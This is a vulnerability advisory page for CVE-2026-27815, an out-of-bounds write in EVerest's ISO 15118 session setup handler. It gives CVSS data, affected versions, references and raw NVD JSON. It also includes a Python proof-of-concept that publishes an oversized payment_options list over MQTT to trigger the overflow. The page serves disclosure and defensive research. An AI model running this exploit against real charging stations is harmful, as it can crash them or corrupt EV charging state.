CVE-2026-27815

Description

EVerest is an EV charging software stack. Prior to versions to 2026.02.0, ISO15118_chargerImpl::handle_session_setup copies a variable-length payment_options list into a fixed-size array of length 2 without bounds checking. With schema validation disabled by default, oversized MQTT Cmd payloads can trigger out-of-bounds writes and corrupt adjacent EVSE state or crash the process. Version 2026.02.0 contains a patch.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linuxfoundation:everest:*:*:*:*:*:*:*:* - VULNERABLE

EVerest < 2026.02.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import json
import paho.mqtt.client as mqtt

# Configuration for the target EVerest MQTT broker
TARGET_BROKER = "192.168.1.100"
TARGET_PORT = 1883
TARGET_TOPIC = "iso15118/charger/cmd/session_setup"

def on_connect(client, userdata, flags, rc):
    if rc == 0:
        print("[+] Connected to broker")
        # Malicious payload: payment_options list with 3 items (limit is 2)
        # This triggers the out-of-bounds write in handle_session_setup
        malicious_payload = {
            "payment_options": ["Option1", "Option2", "Overflow_Option3"],
            "session_id": "poc_test_001"
        }
        
        print(f"[*] Sending malicious payload to {TARGET_TOPIC}")
        client.publish(TARGET_TOPIC, json.dumps(malicious_payload))
        print("[+] Payload sent successfully")
    else:
        print(f"[-] Connection failed with code {rc}")

client = mqtt.Client()
client.on_connect = on_connect

try:
    client.connect(TARGET_BROKER, TARGET_PORT, 60)
    client.loop_forever()
except Exception as e:
    print(f"[-] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27815
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27815
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27815/
[4] VulDB https://vuldb.com/cve/CVE-2026-27815
[5] https://github.com/EVerest/EVerest/security/advisories/GHSA-7wmg-crc8-6xxf

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-27815", "sourceIdentifier": "[email protected]", "published": "2026-03-26T17:16:34.063", "lastModified": "2026-03-31T15:04:28.107", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "EVerest is an EV charging software stack. Prior to versions to 2026.02.0, ISO15118_chargerImpl::handle_session_setup copies a variable-length payment_options list into a fixed-size array of length 2 without bounds checking. With schema validation disabled by default, oversized MQTT Cmd payloads can trigger out-of-bounds writes and corrupt adjacent EVSE state or crash the process. Version 2026.02.0 contains a patch."}, {"lang": "es", "value": "EVerest es una pila de software de carga de vehículos eléctricos. Antes de la versión 2026.02.0, ISO15118_chargerImpl::handle_session_setup copia una lista payment_options de longitud variable en un array de tamaño fijo de longitud 2 sin comprobación de límites. Con la validación de esquema deshabilitada por defecto, las cargas útiles MQTT Cmd sobredimensionadas pueden desencadenar escrituras fuera de límites y corromper el estado EVSE adyacente o bloquear el proceso. La versión 2026.02.0 contiene un parche."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linuxfoundation:everest:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026.02.0", "matchCriteriaId": "EB167E67-6808-4F7B-9505-FFF0C02B288C"}]}]}], "references": [{"url": "https://github.com/EVerest/EVerest/security/advisories/GHSA-7wmg-crc8-6xxf", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}